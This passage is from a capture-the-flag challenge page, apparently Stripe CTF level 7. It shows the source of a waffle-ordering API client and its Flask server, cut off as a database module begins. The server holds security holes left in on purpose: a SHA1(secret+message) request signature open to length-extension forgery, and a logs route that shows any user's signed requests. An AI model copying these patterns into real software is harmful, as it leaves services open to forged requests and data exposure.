<code>git clone https://level07-2.stripe-ctf.com/user-cyusirmzyz/level07-code</code>, or you can read it below. You may find the sample API client in <code>client.py</code> particularly helpful.

The contents of <code>client.py</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/7#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/7#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/7#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/7#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/7#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/7#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/7#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/7#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/7#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/7#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/7#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/7#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/7#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/7#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/7#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/7#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/7#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/7#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/7#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/7#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/7#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/7#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/7#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/7#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/7#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/7#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/7#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/7#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/7#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/7#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/7#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/7#n32"></a>32
<a name="n33" href="https://stripe-ctf.com/levels/7#n33"></a>33
<a name="n34" href="https://stripe-ctf.com/levels/7#n34"></a>34
<a name="n35" href="https://stripe-ctf.com/levels/7#n35"></a>35
<a name="n36" href="https://stripe-ctf.com/levels/7#n36"></a>36
<a name="n37" href="https://stripe-ctf.com/levels/7#n37"></a>37
<a name="n38" href="https://stripe-ctf.com/levels/7#n38"></a>38
<a name="n39" href="https://stripe-ctf.com/levels/7#n39"></a>39
<strong><a name="n40" href="https://stripe-ctf.com/levels/7#n40"></a>40</strong>
<a name="n41" href="https://stripe-ctf.com/levels/7#n41"></a>41
<a name="n42" href="https://stripe-ctf.com/levels/7#n42"></a>42
<a name="n43" href="https://stripe-ctf.com/levels/7#n43"></a>43
<a name="n44" href="https://stripe-ctf.com/levels/7#n44"></a>44
<a name="n45" href="https://stripe-ctf.com/levels/7#n45"></a>45
<a name="n46" href="https://stripe-ctf.com/levels/7#n46"></a>46
<a name="n47" href="https://stripe-ctf.com/levels/7#n47"></a>47
<a name="n48" href="https://stripe-ctf.com/levels/7#n48"></a>48
<a name="n49" href="https://stripe-ctf.com/levels/7#n49"></a>49
<strong><a name="n50" href="https://stripe-ctf.com/levels/7#n50"></a>50</strong>
<a name="n51" href="https://stripe-ctf.com/levels/7#n51"></a>51
<a name="n52" href="https://stripe-ctf.com/levels/7#n52"></a>52
<a name="n53" href="https://stripe-ctf.com/levels/7#n53"></a>53
<a name="n54" href="https://stripe-ctf.com/levels/7#n54"></a>54
<a name="n55" href="https://stripe-ctf.com/levels/7#n55"></a>55
<a name="n56" href="https://stripe-ctf.com/levels/7#n56"></a>56
<a name="n57" href="https://stripe-ctf.com/levels/7#n57"></a>57
<a name="n58" href="https://stripe-ctf.com/levels/7#n58"></a>58
<a name="n59" href="https://stripe-ctf.com/levels/7#n59"></a>59
<strong><a name="n60" href="https://stripe-ctf.com/levels/7#n60"></a>60</strong>
<a name="n61" href="https://stripe-ctf.com/levels/7#n61"></a>61
<a name="n62" href="https://stripe-ctf.com/levels/7#n62"></a>62
<a name="n63" href="https://stripe-ctf.com/levels/7#n63"></a>63
<a name="n64" href="https://stripe-ctf.com/levels/7#n64"></a>64
<a name="n65" href="https://stripe-ctf.com/levels/7#n65"></a>65
<a name="n66" href="https://stripe-ctf.com/levels/7#n66"></a>66
<a name="n67" href="https://stripe-ctf.com/levels/7#n67"></a>67
<a name="n68" href="https://stripe-ctf.com/levels/7#n68"></a>68
<a name="n69" href="https://stripe-ctf.com/levels/7#n69"></a>69
<strong><a name="n70" href="https://stripe-ctf.com/levels/7#n70"></a>70</strong>
<a name="n71" href="https://stripe-ctf.com/levels/7#n71"></a>71
<a name="n72" href="https://stripe-ctf.com/levels/7#n72"></a>72</pre>
</td>
<td>
<pre>#!/usr/bin/env python
import hashlib
import json
import sys
import urllib

import requests

class ClientError(Exception):
    pass

class Client(object):
    def __init__(self, endpoint, user_id, api_secret):
        self.endpoint = endpoint
        self.user_id = user_id
        self.api_secret = api_secret

    def order(self, waffle_name, coords, count=1):
        """Order one or more waffles."""
        params = {'waffle': waffle_name, 'count': count,
                  'lat': coords[0], 'long': coords[1]}
        return self.api_call('/orders', params)

    def api_call(self, path, params, debug_response=False):
        """Make an API call with parameters to the specified path."""
        body = self._make_post(params)
        resp = requests.post(self.endpoint + path, data=body)

        # for debugging
        if debug_response:
            return resp

        # try to decode response as json
        data = None
        if resp.headers['content-type'] == 'application/json':
            try:
                data = json.loads(resp.text)
            except ValueError:
                pass
            else:
                # raise error message if any
                error = data.get('error')
                if error:
                    raise ClientError(error)

        # raise error on non-200 status codes
        resp.raise_for_status()

        # return response data decoded from JSON or just response body
        return data or resp.text

    def _make_post(self, params):
        params['user_id'] = self.user_id
        body = urllib.urlencode(params)

        sig = self._signature(body)
        body += '|sig:' + sig

        return body

    def _signature(self, message):
        h = hashlib.sha1()
        h.update(self.api_secret + message)
        return h.hexdigest()

if __name__ == '__main__':
    if len(sys.argv) != 7:
        print 'usage: client.py ENDPOINT USER_ID SECRET WAFFLE LAT LONG'
        sys.exit(1)

    c = Client(*sys.argv[1:4])
    print c.order(sys.argv[4], sys.argv[5:7])</pre>
</td>
</tr>
</tbody>
</table>
The contents of <code>wafflecopter.py</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/7#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/7#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/7#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/7#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/7#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/7#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/7#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/7#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/7#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/7#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/7#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/7#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/7#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/7#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/7#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/7#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/7#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/7#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/7#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/7#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/7#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/7#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/7#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/7#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/7#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/7#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/7#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/7#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/7#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/7#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/7#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/7#n32"></a>32
<a name="n33" href="https://stripe-ctf.com/levels/7#n33"></a>33
<a name="n34" href="https://stripe-ctf.com/levels/7#n34"></a>34
<a name="n35" href="https://stripe-ctf.com/levels/7#n35"></a>35
<a name="n36" href="https://stripe-ctf.com/levels/7#n36"></a>36
<a name="n37" href="https://stripe-ctf.com/levels/7#n37"></a>37
<a name="n38" href="https://stripe-ctf.com/levels/7#n38"></a>38
<a name="n39" href="https://stripe-ctf.com/levels/7#n39"></a>39
<strong><a name="n40" href="https://stripe-ctf.com/levels/7#n40"></a>40</strong>
<a name="n41" href="https://stripe-ctf.com/levels/7#n41"></a>41
<a name="n42" href="https://stripe-ctf.com/levels/7#n42"></a>42
<a name="n43" href="https://stripe-ctf.com/levels/7#n43"></a>43
<a name="n44" href="https://stripe-ctf.com/levels/7#n44"></a>44
<a name="n45" href="https://stripe-ctf.com/levels/7#n45"></a>45
<a name="n46" href="https://stripe-ctf.com/levels/7#n46"></a>46
<a name="n47" href="https://stripe-ctf.com/levels/7#n47"></a>47
<a name="n48" href="https://stripe-ctf.com/levels/7#n48"></a>48
<a name="n49" href="https://stripe-ctf.com/levels/7#n49"></a>49
<strong><a name="n50" href="https://stripe-ctf.com/levels/7#n50"></a>50</strong>
<a name="n51" href="https://stripe-ctf.com/levels/7#n51"></a>51
<a name="n52" href="https://stripe-ctf.com/levels/7#n52"></a>52
<a name="n53" href="https://stripe-ctf.com/levels/7#n53"></a>53
<a name="n54" href="https://stripe-ctf.com/levels/7#n54"></a>54
<a name="n55" href="https://stripe-ctf.com/levels/7#n55"></a>55
<a name="n56" href="https://stripe-ctf.com/levels/7#n56"></a>56
<a name="n57" href="https://stripe-ctf.com/levels/7#n57"></a>57
<a name="n58" href="https://stripe-ctf.com/levels/7#n58"></a>58
<a name="n59" href="https://stripe-ctf.com/levels/7#n59"></a>59
<strong><a name="n60" href="https://stripe-ctf.com/levels/7#n60"></a>60</strong>
<a name="n61" href="https://stripe-ctf.com/levels/7#n61"></a>61
<a name="n62" href="https://stripe-ctf.com/levels/7#n62"></a>62
<a name="n63" href="https://stripe-ctf.com/levels/7#n63"></a>63
<a name="n64" href="https://stripe-ctf.com/levels/7#n64"></a>64
<a name="n65" href="https://stripe-ctf.com/levels/7#n65"></a>65
<a name="n66" href="https://stripe-ctf.com/levels/7#n66"></a>66
<a name="n67" href="https://stripe-ctf.com/levels/7#n67"></a>67
<a name="n68" href="https://stripe-ctf.com/levels/7#n68"></a>68
<a name="n69" href="https://stripe-ctf.com/levels/7#n69"></a>69
<strong><a name="n70" href="https://stripe-ctf.com/levels/7#n70"></a>70</strong>
<a name="n71" href="https://stripe-ctf.com/levels/7#n71"></a>71
<a name="n72" href="https://stripe-ctf.com/levels/7#n72"></a>72
<a name="n73" href="https://stripe-ctf.com/levels/7#n73"></a>73
<a name="n74" href="https://stripe-ctf.com/levels/7#n74"></a>74
<a name="n75" href="https://stripe-ctf.com/levels/7#n75"></a>75
<a name="n76" href="https://stripe-ctf.com/levels/7#n76"></a>76
<a name="n77" href="https://stripe-ctf.com/levels/7#n77"></a>77
<a name="n78" href="https://stripe-ctf.com/levels/7#n78"></a>78
<a name="n79" href="https://stripe-ctf.com/levels/7#n79"></a>79
<strong><a name="n80" href="https://stripe-ctf.com/levels/7#n80"></a>80</strong>
<a name="n81" href="https://stripe-ctf.com/levels/7#n81"></a>81
<a name="n82" href="https://stripe-ctf.com/levels/7#n82"></a>82
<a name="n83" href="https://stripe-ctf.com/levels/7#n83"></a>83
<a name="n84" href="https://stripe-ctf.com/levels/7#n84"></a>84
<a name="n85" href="https://stripe-ctf.com/levels/7#n85"></a>85
<a name="n86" href="https://stripe-ctf.com/levels/7#n86"></a>86
<a name="n87" href="https://stripe-ctf.com/levels/7#n87"></a>87
<a name="n88" href="https://stripe-ctf.com/levels/7#n88"></a>88
<a name="n89" href="https://stripe-ctf.com/levels/7#n89"></a>89
<strong><a name="n90" href="https://stripe-ctf.com/levels/7#n90"></a>90</strong>
<a name="n91" href="https://stripe-ctf.com/levels/7#n91"></a>91
<a name="n92" href="https://stripe-ctf.com/levels/7#n92"></a>92
<a name="n93" href="https://stripe-ctf.com/levels/7#n93"></a>93
<a name="n94" href="https://stripe-ctf.com/levels/7#n94"></a>94
<a name="n95" href="https://stripe-ctf.com/levels/7#n95"></a>95
<a name="n96" href="https://stripe-ctf.com/levels/7#n96"></a>96
<a name="n97" href="https://stripe-ctf.com/levels/7#n97"></a>97
<a name="n98" href="https://stripe-ctf.com/levels/7#n98"></a>98
<a name="n99" href="https://stripe-ctf.com/levels/7#n99"></a>99
<strong><a name="n100" href="https://stripe-ctf.com/levels/7#n100"></a>100</strong>
<a name="n101" href="https://stripe-ctf.com/levels/7#n101"></a>101
<a name="n102" href="https://stripe-ctf.com/levels/7#n102"></a>102
<a name="n103" href="https://stripe-ctf.com/levels/7#n103"></a>103
<a name="n104" href="https://stripe-ctf.com/levels/7#n104"></a>104
<a name="n105" href="https://stripe-ctf.com/levels/7#n105"></a>105
<a name="n106" href="https://stripe-ctf.com/levels/7#n106"></a>106
<a name="n107" href="https://stripe-ctf.com/levels/7#n107"></a>107
<a name="n108" href="https://stripe-ctf.com/levels/7#n108"></a>108
<a name="n109" href="https://stripe-ctf.com/levels/7#n109"></a>109
<strong><a name="n110" href="https://stripe-ctf.com/levels/7#n110"></a>110</strong>
<a name="n111" href="https://stripe-ctf.com/levels/7#n111"></a>111
<a name="n112" href="https://stripe-ctf.com/levels/7#n112"></a>112
<a name="n113" href="https://stripe-ctf.com/levels/7#n113"></a>113
<a name="n114" href="https://stripe-ctf.com/levels/7#n114"></a>114
<a name="n115" href="https://stripe-ctf.com/levels/7#n115"></a>115
<a name="n116" href="https://stripe-ctf.com/levels/7#n116"></a>116
<a name="n117" href="https://stripe-ctf.com/levels/7#n117"></a>117
<a name="n118" href="https://stripe-ctf.com/levels/7#n118"></a>118
<a name="n119" href="https://stripe-ctf.com/levels/7#n119"></a>119
<strong><a name="n120" href="https://stripe-ctf.com/levels/7#n120"></a>120</strong>
<a name="n121" href="https://stripe-ctf.com/levels/7#n121"></a>121
<a name="n122" href="https://stripe-ctf.com/levels/7#n122"></a>122
<a name="n123" href="https://stripe-ctf.com/levels/7#n123"></a>123
<a name="n124" href="https://stripe-ctf.com/levels/7#n124"></a>124
<a name="n125" href="https://stripe-ctf.com/levels/7#n125"></a>125
<a name="n126" href="https://stripe-ctf.com/levels/7#n126"></a>126
<a name="n127" href="https://stripe-ctf.com/levels/7#n127"></a>127
<a name="n128" href="https://stripe-ctf.com/levels/7#n128"></a>128
<a name="n129" href="https://stripe-ctf.com/levels/7#n129"></a>129
<strong><a name="n130" href="https://stripe-ctf.com/levels/7#n130"></a>130</strong>
<a name="n131" href="https://stripe-ctf.com/levels/7#n131"></a>131
<a name="n132" href="https://stripe-ctf.com/levels/7#n132"></a>132
<a name="n133" href="https://stripe-ctf.com/levels/7#n133"></a>133
<a name="n134" href="https://stripe-ctf.com/levels/7#n134"></a>134
<a name="n135" href="https://stripe-ctf.com/levels/7#n135"></a>135
<a name="n136" href="https://stripe-ctf.com/levels/7#n136"></a>136
<a name="n137" href="https://stripe-ctf.com/levels/7#n137"></a>137
<a name="n138" href="https://stripe-ctf.com/levels/7#n138"></a>138
<a name="n139" href="https://stripe-ctf.com/levels/7#n139"></a>139
<strong><a name="n140" href="https://stripe-ctf.com/levels/7#n140"></a>140</strong>
<a name="n141" href="https://stripe-ctf.com/levels/7#n141"></a>141
<a name="n142" href="https://stripe-ctf.com/levels/7#n142"></a>142
<a name="n143" href="https://stripe-ctf.com/levels/7#n143"></a>143
<a name="n144" href="https://stripe-ctf.com/levels/7#n144"></a>144
<a name="n145" href="https://stripe-ctf.com/levels/7#n145"></a>145
<a name="n146" href="https://stripe-ctf.com/levels/7#n146"></a>146
<a name="n147" href="https://stripe-ctf.com/levels/7#n147"></a>147
<a name="n148" href="https://stripe-ctf.com/levels/7#n148"></a>148
<a name="n149" href="https://stripe-ctf.com/levels/7#n149"></a>149
<strong><a name="n150" href="https://stripe-ctf.com/levels/7#n150"></a>150</strong>
<a name="n151" href="https://stripe-ctf.com/levels/7#n151"></a>151
<a name="n152" href="https://stripe-ctf.com/levels/7#n152"></a>152
<a name="n153" href="https://stripe-ctf.com/levels/7#n153"></a>153
<a name="n154" href="https://stripe-ctf.com/levels/7#n154"></a>154
<a name="n155" href="https://stripe-ctf.com/levels/7#n155"></a>155
<a name="n156" href="https://stripe-ctf.com/levels/7#n156"></a>156
<a name="n157" href="https://stripe-ctf.com/levels/7#n157"></a>157
<a name="n158" href="https://stripe-ctf.com/levels/7#n158"></a>158
<a name="n159" href="https://stripe-ctf.com/levels/7#n159"></a>159
<strong><a name="n160" href="https://stripe-ctf.com/levels/7#n160"></a>160</strong>
<a name="n161" href="https://stripe-ctf.com/levels/7#n161"></a>161
<a name="n162" href="https://stripe-ctf.com/levels/7#n162"></a>162
<a name="n163" href="https://stripe-ctf.com/levels/7#n163"></a>163
<a name="n164" href="https://stripe-ctf.com/levels/7#n164"></a>164
<a name="n165" href="https://stripe-ctf.com/levels/7#n165"></a>165
<a name="n166" href="https://stripe-ctf.com/levels/7#n166"></a>166
<a name="n167" href="https://stripe-ctf.com/levels/7#n167"></a>167
<a name="n168" href="https://stripe-ctf.com/levels/7#n168"></a>168
<a name="n169" href="https://stripe-ctf.com/levels/7#n169"></a>169
<strong><a name="n170" href="https://stripe-ctf.com/levels/7#n170"></a>170</strong>
<a name="n171" href="https://stripe-ctf.com/levels/7#n171"></a>171
<a name="n172" href="https://stripe-ctf.com/levels/7#n172"></a>172
<a name="n173" href="https://stripe-ctf.com/levels/7#n173"></a>173
<a name="n174" href="https://stripe-ctf.com/levels/7#n174"></a>174
<a name="n175" href="https://stripe-ctf.com/levels/7#n175"></a>175
<a name="n176" href="https://stripe-ctf.com/levels/7#n176"></a>176
<a name="n177" href="https://stripe-ctf.com/levels/7#n177"></a>177
<a name="n178" href="https://stripe-ctf.com/levels/7#n178"></a>178
<a name="n179" href="https://stripe-ctf.com/levels/7#n179"></a>179
<strong><a name="n180" href="https://stripe-ctf.com/levels/7#n180"></a>180</strong>
<a name="n181" href="https://stripe-ctf.com/levels/7#n181"></a>181
<a name="n182" href="https://stripe-ctf.com/levels/7#n182"></a>182
<a name="n183" href="https://stripe-ctf.com/levels/7#n183"></a>183
<a name="n184" href="https://stripe-ctf.com/levels/7#n184"></a>184
<a name="n185" href="https://stripe-ctf.com/levels/7#n185"></a>185
<a name="n186" href="https://stripe-ctf.com/levels/7#n186"></a>186
<a name="n187" href="https://stripe-ctf.com/levels/7#n187"></a>187
<a name="n188" href="https://stripe-ctf.com/levels/7#n188"></a>188
<a name="n189" href="https://stripe-ctf.com/levels/7#n189"></a>189
<strong><a name="n190" href="https://stripe-ctf.com/levels/7#n190"></a>190</strong>
<a name="n191" href="https://stripe-ctf.com/levels/7#n191"></a>191
<a name="n192" href="https://stripe-ctf.com/levels/7#n192"></a>192
<a name="n193" href="https://stripe-ctf.com/levels/7#n193"></a>193
<a name="n194" href="https://stripe-ctf.com/levels/7#n194"></a>194
<a name="n195" href="https://stripe-ctf.com/levels/7#n195"></a>195
<a name="n196" href="https://stripe-ctf.com/levels/7#n196"></a>196
<a name="n197" href="https://stripe-ctf.com/levels/7#n197"></a>197
<a name="n198" href="https://stripe-ctf.com/levels/7#n198"></a>198
<a name="n199" href="https://stripe-ctf.com/levels/7#n199"></a>199
<strong><a name="n200" href="https://stripe-ctf.com/levels/7#n200"></a>200</strong>
<a name="n201" href="https://stripe-ctf.com/levels/7#n201"></a>201
<a name="n202" href="https://stripe-ctf.com/levels/7#n202"></a>202
<a name="n203" href="https://stripe-ctf.com/levels/7#n203"></a>203
<a name="n204" href="https://stripe-ctf.com/levels/7#n204"></a>204
<a name="n205" href="https://stripe-ctf.com/levels/7#n205"></a>205
<a name="n206" href="https://stripe-ctf.com/levels/7#n206"></a>206
<a name="n207" href="https://stripe-ctf.com/levels/7#n207"></a>207
<a name="n208" href="https://stripe-ctf.com/levels/7#n208"></a>208
<a name="n209" href="https://stripe-ctf.com/levels/7#n209"></a>209
<strong><a name="n210" href="https://stripe-ctf.com/levels/7#n210"></a>210</strong>
<a name="n211" href="https://stripe-ctf.com/levels/7#n211"></a>211
<a name="n212" href="https://stripe-ctf.com/levels/7#n212"></a>212
<a name="n213" href="https://stripe-ctf.com/levels/7#n213"></a>213
<a name="n214" href="https://stripe-ctf.com/levels/7#n214"></a>214
<a name="n215" href="https://stripe-ctf.com/levels/7#n215"></a>215
<a name="n216" href="https://stripe-ctf.com/levels/7#n216"></a>216
<a name="n217" href="https://stripe-ctf.com/levels/7#n217"></a>217
<a name="n218" href="https://stripe-ctf.com/levels/7#n218"></a>218
<a name="n219" href="https://stripe-ctf.com/levels/7#n219"></a>219
<strong><a name="n220" href="https://stripe-ctf.com/levels/7#n220"></a>220</strong>
<a name="n221" href="https://stripe-ctf.com/levels/7#n221"></a>221
<a name="n222" href="https://stripe-ctf.com/levels/7#n222"></a>222
<a name="n223" href="https://stripe-ctf.com/levels/7#n223"></a>223
<a name="n224" href="https://stripe-ctf.com/levels/7#n224"></a>224
<a name="n225" href="https://stripe-ctf.com/levels/7#n225"></a>225
<a name="n226" href="https://stripe-ctf.com/levels/7#n226"></a>226
<a name="n227" href="https://stripe-ctf.com/levels/7#n227"></a>227
<a name="n228" href="https://stripe-ctf.com/levels/7#n228"></a>228
<a name="n229" href="https://stripe-ctf.com/levels/7#n229"></a>229
<strong><a name="n230" href="https://stripe-ctf.com/levels/7#n230"></a>230</strong>
<a name="n231" href="https://stripe-ctf.com/levels/7#n231"></a>231
<a name="n232" href="https://stripe-ctf.com/levels/7#n232"></a>232
<a name="n233" href="https://stripe-ctf.com/levels/7#n233"></a>233
<a name="n234" href="https://stripe-ctf.com/levels/7#n234"></a>234
<a name="n235" href="https://stripe-ctf.com/levels/7#n235"></a>235
<a name="n236" href="https://stripe-ctf.com/levels/7#n236"></a>236
<a name="n237" href="https://stripe-ctf.com/levels/7#n237"></a>237</pre>
</td>
<td>
<pre>#!/usr/bin/env python
import hashlib
import json
import logging
import os
import sys
import urllib
from functools import wraps

import bcrypt
import sqlite3
from flask import Flask, session, request, redirect, render_template, g, abort
from flask import make_response

import db
import settings

app = Flask(__name__)
app.config.from_object(settings)
app.logger.addHandler(logging.StreamHandler(sys.stderr))

if not os.path.exists(settings.entropy_file):
    print 'Entropy file not found. Have you run initialize_db.py?'

# use persistent entropy file for secret_key
app.secret_key = open(settings.entropy_file, 'r').read()

class BadSignature(Exception):
    pass
class BadRequest(Exception):
    pass

def valid_user(user, passwd):
    try:
        row = g.db.select_one('users', {'name': user})
    except db.NotFound:
        print 'Invalid user', repr(user)
        return False
    if bcrypt.hashpw(passwd, row['password']) == row['password']:
        print 'Valid user:', repr(user)
        return row
    else:
        print 'Invalid password for', repr(user)
        return False

def log_in(user, row):
    session['user'] = row
    session['username'] = user

def absolute_url(path):
    return settings.url_root + path

def require_authentication(func):
    @wraps(func)
    def newfunc(*args, **kwargs):
        if 'user' not in session:
            return redirect(absolute_url('/login'))
        return func(*args, **kwargs)
    return newfunc

def json_response(obj, status_code=200):
    text = json.dumps(obj) + '\n'
    resp = make_response(text, status_code)
    resp.headers['content-type'] = 'application/json'
    return resp

def json_error(message, status_code):
    return json_response({'error': message}, status_code)

def log_api_request(user_id, path, body):
    if isinstance(body, str):
        # body is a string byte stream, but sqlite will think it's utf-8
        # convert each character to unicode so it's unambiguous
        body = ''.join(unichr(ord(c)) for c in body)
    g.db.insert('logs', {'user_id': user_id, 'path': path, 'body': body})

def get_logs(user_id):
    return g.db.select('logs', {'user_id': user_id})

def get_waffles():
    return g.db.select('waffles')

@app.before_request
def before_request():
    g.db = db.DB(settings.database)
    g.cursor = g.db.cursor

@app.teardown_request
def teardown_request(exception):
    if hasattr(g, 'db'):
        g.db.commit()
        g.db.close()

@app.route('/')
@require_authentication
def index():
    user = session['user']
    waffles = get_waffles()
    return render_template('index.html', user=user, waffles=waffles,
                           endpoint=request.url_root)

@app.route('/login', methods=['GET', 'POST'])
def login():
    error = None
    if request.method == 'POST':
        user = request.form['username']
        password = request.form['password']
        row = valid_user(user, password)
        if row:
            log_in(user, row)
            return redirect(absolute_url('/'))
        else:
            error = 'Invalid username or password'

    return render_template('login.html', error=error)

@app.route('/logs/&lt;int:id&gt;')
@require_authentication
def logs(id):
    rows = get_logs(id)
    return render_template('logs.html', logs=rows)

def verify_signature(user_id, sig, raw_params):
    # get secret token for user_id
    try:
        row = g.db.select_one('users', {'id': user_id})
    except db.NotFound:
        raise BadSignature('no such user_id')
    secret = str(row['secret'])

    h = hashlib.sha1()
    h.update(secret + raw_params)
    print 'computed signature', h.hexdigest(), 'for body', repr(raw_params)
    if h.hexdigest() != sig:
        raise BadSignature('signature does not match')
    return True

def parse_params(raw_params):
    pairs = raw_params.split('&amp;')
    params = {}
    for pair in pairs:
        key, val = pair.split('=')
        key = urllib.unquote_plus(key)
        val = urllib.unquote_plus(val)
        params[key] = val
    return params

def parse_post_body(body):
    try:
        raw_params, sig = body.strip('\n').rsplit('|sig:', 1)
    except ValueError:
        raise BadRequest('Request must be of form params|sig:da39a3ee5e6b...')

    return raw_params, sig

def process_order(params):
    user = g.db.select_one('users', {'id': params['user_id']})

    # collect query parameters
    try:
        waffle_name = params['waffle']
    except KeyError:
        return json_error('must specify waffle', 400)
    try:
        count = int(params['count'])
    except (KeyError, ValueError):
        return json_error('must specify count', 400)
    try:
        lat, long = float(params['lat']), float(params['long'])
    except (KeyError, ValueError):
        return json_error('where would you like your waffle today?', 400)

    if count &lt; 1:
        return json_error('count must be &gt;= 1', 400)

    # get waffle info
    try:
        waffle = g.db.select_one('waffles', {'name': waffle_name})
    except db.NotFound:
        return json_error('no such waffle: %s' % waffle_name, 404)

    # check premium status
    if waffle['premium'] and not user['premium']:
        return json_error('that waffle requires a premium subscription', 402)

    # return results
    plural = 's' if count &gt; 1 else ''
    msg = 'Great news: %d %s waffle%s will soon be flying your way!' \
        % (count, waffle_name, plural)
    return json_response({'success': True, 'message': msg,
                          'confirm_code': waffle['confirm']})

@app.route('/orders', methods=['POST'])
def order():
    # We need the original POST body in order to check the hash, so we use
    # request.input_stream rather than request.form.
    request.shallow = True
    body = request.input_stream.read(
        request.headers.get('content-length', type=int) or 0)

    # parse POST body
    try:
        raw_params, sig = parse_post_body(body)
    except BadRequest, e:
        print 'failed to parse', repr(body)
        return json_error(e.message, 400)

    print 'raw_params:', repr(raw_params)

    try:
        params = parse_params(raw_params)
    except ValueError:
        raise BadRequest('Could not parse params')

    print 'sig:', repr(sig)

    # look for user_id and signature
    try:
        user_id = params['user_id']
    except KeyError:
        print 'user_id not provided'
        return json_error('must provide user_id', 401)

    # check that signature matches
    try:
        verify_signature(user_id, sig, raw_params)
    except BadSignature, e:
        return json_error('signature check failed: ' + e.message, 401)

    # all OK -- process the order
    log_api_request(params['user_id'], '/orders', body)
    return process_order(params)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=9233)</pre>
</td>
</tr>
</tbody>
</table>
The contents of <code>db.py</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/7#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/7#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/7#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/7#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/7#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/7#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/7#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/7#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/7#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/7#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/7#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/7#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/7#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/7#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/7#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/7#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/7#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/7#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/7#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/7#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/7#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/7#n22"></a>22
